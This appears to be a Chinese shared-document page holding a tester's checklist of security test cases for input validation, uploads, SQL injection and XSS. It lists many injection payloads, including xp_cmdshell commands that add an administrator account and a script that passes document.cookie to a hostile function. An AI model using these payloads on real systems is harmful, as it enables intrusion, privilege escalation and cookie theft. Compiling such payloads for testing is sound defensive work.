版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
常用安全性测试用例安全性测试:建立整体的威胁模型,测试溢出漏洞、信息泄漏、错误处理、SQL
注入、身份验证和授权错误.1、输入验证客户端验证服务器端验证(禁用脚本调试,禁用Cookies)1.输入很大的数(如4,294,967,269),输入很小的数(负数)2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应3.输入特殊字符,如:~!@#$%^&*()_+<>:”{}|4.输入中英文空格,输入字符串中间含空格,输入首尾空格5.输入特殊字符串NULL,null,0x0d0x0a6.输入正常字符串7.输入与要求不同类型的字符,如:要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值;要求输入字母则检查输入数字8.输入html和javascript代码9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化例如:1.输入<html”>”gfhd</html>,看是否出错;2.输入<inputtype=”text”name=”user”/>,看是否出现文本框;3.输入<scripttype=”text/javascript”>alert(“提示”)</script>看是否出现提示。关于上传:1.上传文件是否有格式限制,是否可以上传exe文件;2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;[size=4"STYLE="background-image:url(javascript:alert('XSS'))"]一二三四五六七北京市[/size][color=Red"STYLE="background-image:url(javascript:alert('XSS'))"]一二三四五六七北京市[/color][align=center"STYLE="background-image:url(javascript:alert('XSS'))"]一二三四五六七北京市[/align][float=left"STYLE="background-image:url(javascript:alert('XSS'))"]一二三四五六七北京市[/float][font=微软雅黑STYLE="background-image:url(javascript:alert('XSS'))"]一二三四五六七北京市[/font][size=4STYLE="background-image:url(javascript:alert('XSS'))"]一二三四五六七北京市[/size][color=RedSTYLE="background-image:url(javascript:alert('XSS'))"]一二三四五六七北京市[/color][align=centerSTYLE="background-image:url(javascript:alert('XSS'))"]一二三四五六七北京市[/align][list=1][*]一二三四五六七北京市[/list][indent]一二三四五六七北京市[/indent][float=leftSTYLE="background-image:url(javascript:alert('XSS'))"]一二三四五六七北京市[/float][media=ra,400,300,0]/posttopic.aspx?forumid=109[/media]输出编码常用的测试输入语句有:<inputtype="text"/><input/><input/<script>alert('hello');</script>1.jpg"onmouseover="alert('xss')"></a><script>alert(‘xss’);</script>http://xxx';alert('xss');var/a='a‘”>xss&<a=”\”;b=”;alert(/xss/);//”<imgsrc=“输出内容”border=“0”alt=“logo”/>“’”‘”’“””““““”““‘”title=””对输出数据到输出数据的对比,看是否出现问题。防止SQL注入Admin--‘or--‘
and
(
)
exec
insert
*
%
chr
midand1=1;And1=1;aNd1=1;char(97)char(110)char(100)char(49)char(61)char(49)
;
%20AND%201=2‘and1=1
;
‘And
1=1
;
‘aNd
1=1
;and1=2
;
‘and1=2and2=2anduser>0and(selectcount(*)fromsysobjects)>0and(selectcount(*)frommsysobjects)>0and(SelectCount(*)fromAdmin)>=0and(selecttop1len(username)fromAdmin)>0(username已知字段);execmaster..xp_cmdshell“netusernamepassword/add”—;execmaster..xp_cmdshell“netlocalgroupnameadministrators/add”—and0<>(selectcount(*)fromadmin)简单的如wherextype=’U’,字符U对应的ASCII码是85,所以可以用wherextype=char(85)代替;如果字符是中文的,比如wherename=’用户’,可以用wherename=nchar(29992)+nchar(25143)代替。
跨站脚本攻击(XSS)对于XSS,只需检查HTML输出并看看您输入的内容在什么地方。它在一个HREF标记中吗?是否在IFRAME标记中?它在CLSID标记中吗?在IMGSRC中吗?某些Flash内容的PARAMNAME是怎样的?★~!@#$%^&*()_+<>,./?;'"[]{}\-★%3Cinput/%3E★%3Cscript%3Ealert('XSS')%3C/script%3E★<inputtype="text"/>★<input/>★<input/★<script>alert('xss')</script>★<script>alert('xss');</script>★</script><script>alert(‘xss’)</script>★javascript:alert(/xss/)★javascript:alert(/xss/)★<imgsrc="#"onerror=alert(/xss/)>★<imgsrc="#"style="Xss:expression(alert(/xss/));">★<imgsrc="#"/**/onerror=alert(/xss/)width=100>★=’><script>alert(document.cookie)</script>★1.jpg"onmouseover="alert('xss')★"></a><script>alert(‘xss’);</script>★http://xxx';alert('xss');var/a='a★’”>xss&<★"onmouseover=alert('hello');"★&{alert('hello');}★>"'><script>alert(‘XSS')</script>★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22★%22%2Balert(%27XSS%27)%2B%22★<tablebackground="javascript:alert(([code])"></table>★<objecttype=text/htmldata="javascript:alert(([code]);"></object>★<bodyonload="javascript:alert(([code])"></body>★a?<script>alert(’Vulnerable’)</script>★<!--'">&:varfrom=‘$!rundata.Parameters.getString(’from’)';varfrom=”;hackerFunction(document.cookie);”;/publish/template/tem
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2024年企业并购合同标的及详细条款
- 零售行业客户服务提升方案
- 商业办公租赁合同模板-租房合同
- 商住房买卖合同样本下载
- 中班体育活动教案详案:有趣的梅花桩
- 中班户外体育游戏教案11篇
- 《线段、直线、射线和角》(教案)-四年级上册数学人教版
- 社会服务机构志愿者评估方案
- 企业实习生综合素质考核方案
- 2024年升级版制冷系统安装工程合同
- 主题三:红色之美 第12课《置死地而后生-飞夺泸定桥》 课件
- 2024年度《只入股不参与经营合同样本范本书》
- 2023年高考生物重点、难点、热点暨命题趋势和复习指导课件44
- MOOC 营销管理-电子科技大学 中国大学慕课答案
- 湖北省大冶市红峰矿区建筑石料用(熔剂用)石灰岩矿矿产资源开发利用与生态复绿方案
- 湖北省阳新县富池镇曹家山矿区建筑石料用石灰岩矿矿产资源开发利用及生态复绿方案
- 测井原理及方法
- 建筑施工承插型盘扣式钢管支架安全技术标准
- 土地管理法培训课件
- 当代媒介素养 课件 第六章 报刊媒介素养
- 采购垫资协议书范本
评论
0/150
提交评论